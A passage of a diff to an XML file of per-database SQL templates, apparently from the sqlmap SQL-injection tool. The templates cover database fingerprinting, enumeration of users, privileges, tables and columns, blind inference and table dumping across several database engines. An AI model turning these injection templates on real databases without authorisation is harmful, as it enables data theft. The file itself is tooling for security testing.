<limit query="ROW_NUMBER() OVER () AS CAP %s) AS qq WHERE CAP"/>
|
||||||
@@ -615,11 +657,11 @@
|
|||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
<comment query="--"/>
|
<comment query="--"/>
|
||||||
<!-- TODO -->
|
<!-- TODO -->
|
||||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
<substring query="SUBSTRING((%s),%d,%d,CODEUNITS32)"/>
|
||||||
<concatenate query="%s||%s"/>
|
<concatenate query="%s||%s"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
|
||||||
<hex query="HEX(%s)"/>
|
<hex query="HEX(%s)"/>
|
||||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
<inference query="SUBSTRING((%s),%d,1,CODEUNITS32)>'%c'"/>
|
||||||
<!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
|
<!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
|
||||||
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS CAP,versionnumber FROM sysibm.sysversions) AS qq WHERE CAP=1"/>
|
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS CAP,versionnumber FROM sysibm.sysversions) AS qq WHERE CAP=1"/>
|
||||||
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||||
@@ -647,8 +689,8 @@
|
|||||||
<blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS CAP,schemaname FROM syscat.schemata) AS qq WHERE CAP=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
|
<blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS CAP,schemaname FROM syscat.schemata) AS qq WHERE CAP=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/>
|
<inband query="SELECT tabschema,tabname FROM syscat.tables WHERE type IN ('T','V')" condition="tabschema"/>
|
||||||
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM sysstat.tables WHERE tabschema='%s') AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>
|
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')) AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT name,RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
|
<inband query="SELECT name,RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
|
||||||
@@ -656,19 +698,19 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER (ORDER BY %s) AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
<inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
||||||
<blind query="SELECT schemaname FROM (SELECT DISTINCT(schemaname) FROM syscat.schemata WHERE %s) AS qq" count="SELECT COUNT(DISTINCT(schemaname)) FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
<blind query="SELECT schemaname FROM (SELECT DISTINCT(schemaname) FROM syscat.schemata WHERE %s) AS qq" count="SELECT COUNT(DISTINCT(schemaname)) FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
||||||
</search_db>
|
</search_db>
|
||||||
<search_table>
|
<search_table>
|
||||||
<inband query="SELECT tabschema,tabname FROM sysstat.tables WHERE %s" condition="tabname" condition2="tabschema"/>
|
<inband query="SELECT tabschema,tabname FROM syscat.tables WHERE (%s) AND type IN ('T','V')" condition="tabname" condition2="tabschema"/>
|
||||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.tables WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.tables WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.tables WHERE %s" count2="SELECT COUNT(tabname) FROM sysstat.tables WHERE tabschema='%s'" condition="tabname" condition2="tabschema"/>
|
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM syscat.tables WHERE (%s) AND type IN ('T','V')) AS qq" query2="SELECT DISTINCT(tabname) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')" count="SELECT COUNT(DISTINCT(tabschema)) FROM syscat.tables WHERE (%s) AND type IN ('T','V')" count2="SELECT COUNT(tabname) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')" condition="tabname" condition2="tabschema"/>
|
||||||
</search_table>
|
</search_table>
|
||||||
<search_column>
|
<search_column>
|
||||||
<inband query="SELECT tabschema,tabname FROM sysstat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
|
<inband query="SELECT tabschema,tabname FROM syscat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.columns WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM sysstat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
|
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM syscat.columns WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM syscat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM syscat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM syscat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
@@ -725,7 +767,8 @@
|
|||||||
<inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
|
<inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||||
|
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
|
||||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
@@ -769,8 +812,8 @@
|
|||||||
<is_dba query="SELECT CURRENT_USER='SA'"/>
|
<is_dba query="SELECT CURRENT_USER='SA'"/>
|
||||||
<check_udf/>
|
<check_udf/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT NAME FROM INFORMATION_SCHEMA.USERS"/>
|
<inband query="SELECT USER_NAME FROM INFORMATION_SCHEMA.USERS" query2="SELECT NAME FROM INFORMATION_SCHEMA.USERS"/>
|
||||||
<blind query="SELECT NAME FROM INFORMATION_SCHEMA.USERS LIMIT 1 OFFSET %d" count="SELECT COUNT(NAME) FROM INFORMATION_SCHEMA.USERS"/>
|
<blind query="SELECT USER_NAME FROM INFORMATION_SCHEMA.USERS LIMIT 1 OFFSET %d" count="SELECT COUNT(USER_NAME) FROM INFORMATION_SCHEMA.USERS" query2="SELECT NAME FROM INFORMATION_SCHEMA.USERS LIMIT 1 OFFSET %d" count2="SELECT COUNT(NAME) FROM INFORMATION_SCHEMA.USERS"/>
|
||||||
</users>
|
</users>
|
||||||
<passwords/>
|
<passwords/>
|
||||||
<privileges/>
|
<privileges/>
|
||||||
@@ -785,11 +828,12 @@
|
|||||||
<blind query="SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'"/>
|
<blind query="SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<blind query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" query2="SELECT TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND TABLE_SCHEMA='%s'" count="SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'" condition="COLUMN_NAME"/>
|
<blind query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" query2="SELECT DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND TABLE_SCHEMA='%s'" count="SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'" condition="COLUMN_NAME"/>
|
||||||
<inband query="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME"/>
|
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME" query2="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition2="COLUMN_NAME"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||||
|
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
|
||||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
@@ -916,7 +960,7 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s"/>
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over(ORDER BY %s) AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
|
<inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
|
||||||
@@ -924,7 +968,7 @@
|
|||||||
</search_db>
|
</search_db>
|
||||||
<search_table>
|
<search_table>
|
||||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
|
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
|
||||||
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
|
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
|
||||||
</search_table>
|
</search_table>
|
||||||
<search_column>
|
<search_column>
|
||||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
||||||
@@ -934,8 +978,8 @@
|
|||||||
|
|
||||||
<dbms value="Apache Derby">
|
<dbms value="Apache Derby">
|
||||||
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
|
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
|
||||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
<cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
|
||||||
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
<length query="LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))))"/>
|
||||||
<isnull query="COALESCE(%s,' ')"/>
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
<delimiter query="||"/>
|
<delimiter query="||"/>
|
||||||
<limit query="OFFSET %d ROWS FETCH FIRST %d ROWS ONLY"/>
|
<limit query="OFFSET %d ROWS FETCH FIRST %d ROWS ONLY"/>
|
||||||
@@ -945,8 +989,8 @@
|
|||||||
<limitstring/>
|
<limitstring/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
<!-- NOTE: comment without alphanumeric char in continuation is invalid -->
|
<!-- NOTE: https://issues.apache.org/jira/browse/DERBY-3157 -->
|
||||||
<comment query="--x"/>
|
<comment query="--aa"/>
|
||||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
<concatenate query="%s||%s"/>
|
<concatenate query="%s||%s"/>
|
||||||
<!-- NOTE: Apache Derby does not support implicit conversion from int to string -->
|
<!-- NOTE: Apache Derby does not support implicit conversion from int to string -->
|
||||||
@@ -975,7 +1019,7 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT %s FROM %s OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
|
<inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
|
||||||
@@ -1001,7 +1045,7 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Vertica">
|
<dbms value="Vertica">
|
||||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
<cast query="CAST(%s AS VARCHAR(10000))"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
<isnull query="COALESCE(%s,' ')"/>
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
<delimiter query="||"/>
|
<delimiter query="||"/>
|
||||||
@@ -1025,7 +1069,7 @@
|
|||||||
<hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
|
<hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
|
||||||
<table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
|
<table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
|
||||||
<!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
|
<!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
|
||||||
<column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%.%s'"/>
|
<column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%s%%.%s'"/>
|
||||||
<is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
<is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||||
<check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
|
<check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
|
||||||
<users>
|
<users>
|
||||||
@@ -1133,11 +1177,11 @@
|
|||||||
<substring query="SUBSTR(%s,%d,%d)"/>
|
<substring query="SUBSTR(%s,%d,%d)"/>
|
||||||
<concatenate query="%s||%s"/>
|
<concatenate query="%s||%s"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
<hex query="TO_HEX(%s)"/>
|
<hex query="TO_HEX(CAST(%s AS VARBINARY))"/>
|
||||||
<inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version=">=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
|
<inference query="CODEPOINT(CAST(SUBSTR((%s),%d,1) AS VARCHAR(1)))>%d" dbms_version=">=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>
|
||||||
<banner/>
|
<banner query="version()"/>
|
||||||
<current_user query="CURRENT_USER"/>
|
<current_user query="CURRENT_USER"/>
|
||||||
<current_db/>
|
<current_db query="current_schema"/>
|
||||||
<hostname/>
|
<hostname/>
|
||||||
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
|
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
|
||||||
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
|
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
|
||||||
@@ -1213,7 +1257,7 @@
|
|||||||
</passwords>
|
</passwords>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
|
<inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
|
||||||
<blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d'"/>
|
<blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%s'"/>
|
||||||
</privileges>
|
</privileges>
|
||||||
<roles>
|
<roles>
|
||||||
<inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
|
<inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
|
||||||
@@ -1234,7 +1278,7 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM %s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
|
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
|
||||||
@@ -1320,8 +1364,9 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="ClickHouse">
|
<dbms value="ClickHouse">
|
||||||
<cast query="CAST(%s AS String)"/>
|
<cast query="CAST(%s AS Nullable(String))"/>
|
||||||
<length query="length(%s)"/>
